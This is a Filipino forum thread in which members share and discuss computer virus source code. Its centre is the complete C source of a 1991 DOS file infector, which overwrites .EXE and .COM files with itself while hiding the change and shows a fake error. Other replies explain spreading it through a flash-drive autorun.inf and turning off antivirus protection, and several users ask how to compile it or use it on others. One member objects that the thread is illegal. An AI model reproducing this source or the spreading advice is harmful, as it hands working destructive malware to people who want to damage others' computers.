Symbianize Forum

Most of our features and services are available only to members, so we encourage you to login or register a new account. Registration is free, fast and simple. You only need to provide a valid email. Being a member you'll gain access to all member forums and features, post a message to ask question or provide answer, and share or find resources related to mobile phones, tablets, computers, game consoles, and multimedia.

All that and more, so what are you waiting for, click the register button and join us now! Ito ang website na ginawa ng pinoy para sa pinoy!

Computer Virus Source Codes

gn2 po ba pinag aaralan ng mga programmer?
patulong naman kung panu ito gmitin sa iba XD try lang
 
copy the code in notepad then save it as .asm or.vbs
 
add lang po:

c-virus

/* C-Virus: A generic .COM and .EXE infector

Written by Nowhere Man

Project started and completed on 6-24-91

Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/


#pragma inline // Compile to .ASM

#include
#include
#include
#include
#include

void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);

#define DEBUG
#define ONE_KAY 1024 // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
#define SIGNATURE "NMAN" // Sign of infection

int main(void)
{
/* The main program */

spread(_argv[0], victim()); // Perform infection
small_print("Out of memory\r\n"); // Print phony error
return(1); // Fake failure...
}

void hostile_activity(void)
{
/* Put whatever you feel like doing here...I chose to
make this part harmless, but if you're feeling
nasty, go ahead and have some fun... */

small_print("\a\a\aAll files infected. Mission complete.\r\n");
exit(2);
}

int infected(char *fname)
{
/* This function determines if fname is infected */

FILE *fp; // File handle
char sig[5]; // Virus signature

fp = fopen(fname, "rb");
fseek(fp, 28L, SEEK_SET);
fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
printf("Signature for %s: %s\n", fname, sig);
#endif
fclose(fp);
return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}

void small_print(char *string)
{
/* This function is a small, quick print routine */

asm {
push si
mov si,string
mov ah,0xE
}

print: asm {
lodsb
or al,al
je finish
int 0x10
jmp short print
}
finish: asm pop si
}

void spread(char *old_name, char *new_name)
{
/* This function infects new_name with old_name */


/* Variable declarations */

FILE *old, *new; // File handles
struct ftime file_time; // Old file date,
time
int attrib; // Old attributes
long old_size, virus_size; // Sizes of files
char *virus_code = NULL; // Pointer to virus
int old_handle, new_handle; // Handles for files


/* Perform the infection */

#ifdef DEBUG
printf("Infecting %s with %s...\n", new_name, old_name);
#endif
old = fopen(old_name, "rb"); // Open virus
new = fopen(new_name, "rb"); // Open victim
old_handle = fileno(old); // Get file handles
new_handle = fileno(new);
old_size = filelength(new_handle); // Get old file size
virus_size = filelength(old_handle); // Get virus size
attrib = _chmod(new_name, 0); // Get old attributes
getftime(new_handle, &file_time); // Get old file time
fclose(new); // Close the virusee
_chmod(new_name, 1, 0); // Clear any read-only
unlink(new_name); // Erase old file
new = fopen(new_name, "wb"); // Open new virus
new_handle = fileno(new);
virus_code = malloc(virus_size); // Allocate space
fread(virus_code, virus_size, 1, old); // Read virus from old
fwrite(virus_code, virus_size, 1, new); // Copy virus to new
_chmod(new_name, 1, attrib); // Replace attributes
chsize(new_handle, old_size); // Replace old size
setftime(new_handle, &file_time); // Replace old time


/* Clean up */

fcloseall(); // Close files
free(virus_code); // Free memory
}

char *victim(void)
{
/* This function returns the virus's next victim */


/* Variable declarations */

char *types[] = {"*.EXE", "*.COM"}; // Potential victims
static struct ffblk ffblk; // DOS file block
int done; // Indicates finish
int index; // Used for loop


/* Find our victim */

if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
return(_argv[1]);

for (index = 0; index < sizeof(types); index++) {
done = findfirst(types[index], &ffblk, FA_RDONLY | FA_HIDDEN |
FA_SYSTEM | FA_ARCH);
while (!done) {
#ifdef DEBUG
printf("Scanning %s...\n", ffblk.ff_name);
#endif
/* If you want to check for specific days of the week,
months, etc., here is the place to insert the
code (don't forget to "#include "!) */

if ((!infected(ffblk.ff_name)) && (ffblk.ff_fsize >
TOO_SMALL))
return(ffblk.ff_name);
done = findnext(&ffblk);
}
}


/* If there are no files left to infect, have a little fun... */

hostile_activity();
return(0); // Prevents warning
}
 
bakit ayaw ma-save kahit sa notepad lang? :noidea: sabi na anti-virus ko. possible treat, file deleted :D :lol::rofl::lmao:

salamat sa mga nag post nito. napatunayan ko na hindi dekorasyon lang ang anti-virus na gamit ko :praise:
 
Last edited:
galeng ng bitdefender, ala lumusot, updated kc eh, nyahahaha nagtry kc ako ng sample.... pro mga sir, ok lng po matutunan itong gnitong mga bagay, pro used the knowledge for good... Great Knowledge comes with Great Responsibility, nyahahaha.... :D
 
di ko gets kung pano toh gamitin... more on hardware kasi ung knowledge ko... pano ba ito i execute??? save sa notepad then???
 
LIPA virus code is fake, LIPA viurs is not original, pinoy talaga hilig edit edit para feel nya sikat cya para sa hindi naka alam. :beat:

iLOVEyou VIRUS infects internet mail in one single time, and does not infect freely but manually.

Great Code :noidea:

I made one, last 1998, virusname:diehard3, but didn't last long because of 32bit OS system. :upset:

:salute: :nice: :thanks:
 
mga sir share nyo virus code using flash drive when you plug it the program will execute..thanks..
 
kng issave niyo ito at nddetect ng AV niyo at trip niyo tlgang isave(not compile) turn off niyo muna ang AV niyo
 
mga sir share nyo virus code using flash drive when you plug it the program will execute..thanks..

copy mo lang to sa notepad then save as autorun.inf then copy mo sa flash drive where your virus is located...

[XXXXXX]
XXXXXXX=virus.exe
XXXXXXXXXXX=virus.exe
 
Last edited:
DON'T BE ONE OF THE KSP(Kulang Sa Pansen).

THIS IS ILLEGAL.
DELETE THIS THREAD PLEASE.

THIS THINGS NEED NOT TO BE PUBLISH.
IF YOU KNOW SOMETHING(dangerous/illegal) KEEP IT TO YOUR SELF.

IF YOUR TELLING THAT SHARING IS GOOD, YES, IT IS GOOD, BUT ONLY IF YOU SHARE GOOD MATTERS FOR THEM.
 
hay. . . . . . .produkto lang nmn ito ng Visual basic at Visual c++
meron akong program nito sa bahay(galing sa school) at binalaan ako na wag gagawa ng virus . . . .

hmm . . a can't say if this one is a good post or not . . but thanks . . . i'm now aware of that . . . (kasi nga computer programmer ako:D hehehe)


i think that you know a lot of things upon that . . . . .

and i think you can generate a crack or keygen perhaps? :lol: bsta bro . . . . compliment ko lng ung pag post mo ng babala :thumbsup: kc muntik ko ng subukan 2 . . . hehehe bute cnabe sakin n malakas ang epekto nito sa pc . . . . . .
 
Last edited:
gn2 po ba pinag aaralan ng mga programmer?
patulong naman kung panu ito gmitin sa iba XD try lang

depende sa programmer. para sa akin hindi kasi system programmer ako.

LIPA virus code is fake, LIPA viurs is not original, pinoy talaga hilig edit edit para feel nya sikat cya para sa hindi naka alam. :beat:

iLOVEyou VIRUS infects internet mail in one single time, and does not infect freely but manually.

Great Code :noidea:

I made one, last 1998, virusname:diehard3, but didn't last long because of 32bit OS system. :upset:

:salute: :nice: :thanks:

i agree. pero okey din naman ang taga lipa are kasi mey naka lagay naman na edited lang.

copy mo lang to sa notepad then save as autorun.inf then copy mo sa flash drive where your virus is located...

the autorun.inf should be located in a fixed drive
eg.
C:\autorun.inf
D:\autorun.inf
E:\autorun.inf
...
not anywhere or else di lalabas sa context menu ng drive ang "autoplay"

hay. . . . . . .produkto lang nmn ito ng Visual basic at Visual c++
meron akong program nito sa bahay(galing sa school) at binalaan ako na wag gagawa ng virus . . . .

hmm . . a can't say if this one is a good post or not . . but thanks . . . i'm now aware of that . . . (kasi nga computer programmer ako:D hehehe)


i think that you know a lot of things upon that . . . . .

and i think you can generate a crack or keygen perhaps? :lol: bsta bro . . . . compliment ko lng ung pag post mo ng babala :thumbsup: kc muntik ko ng subukan 2 . . . hehehe bute cnabe sakin n malakas ang epekto nito sa pc . . . . . .


di po producto ng visual basic at visual c++ ang virus. eto po tama .vbs(visual basic script), asm(assembly), .c, c++, etc.

didn't you mean na ignorante and mga computer programmer sa virus, i think not. computer programmer are application developer remember? and i am a one of them.
 
Last edited by a moderator:
di po producto ng visual basic at visual c++ ang virus. eto po tama .vbs(visual basic script), asm(assembly), .c, c++, etc.

didn't you mean na ignorante and mga computer programmer sa virus, i think not. computer programmer are application developer remember? and i am a one of them.

ay mukhang mali ung nasabi ko hehehe (kasi isa p nmn akong computer programmer)
hehehe sorry . . . . pero alam ko na ito ay nagagawa ng nasabi kong application (visual studio and visual c++) hehehe
 
@ROCAROCAROBIN

DON'T BE ONE OF THE KSP(Kulang Sa Pansen).

THIS IS ILLEGAL.
DELETE THIS THREAD PLEASE.

THIS THINGS NEED NOT TO BE PUBLISH.
IF YOU KNOW SOMETHING(dangerous/illegal) KEEP IT TO YOUR SELF.

IF YOUR TELLING THAT SHARING IS GOOD, YES, IT IS GOOD, BUT ONLY IF YOU SHARE GOOD MATTERS FOR THEM.

ARE YOU HAPPY NOW!
 
Last edited:
panu ba magcompile? share nyo nMan poh. .
 
Back
Top Bottom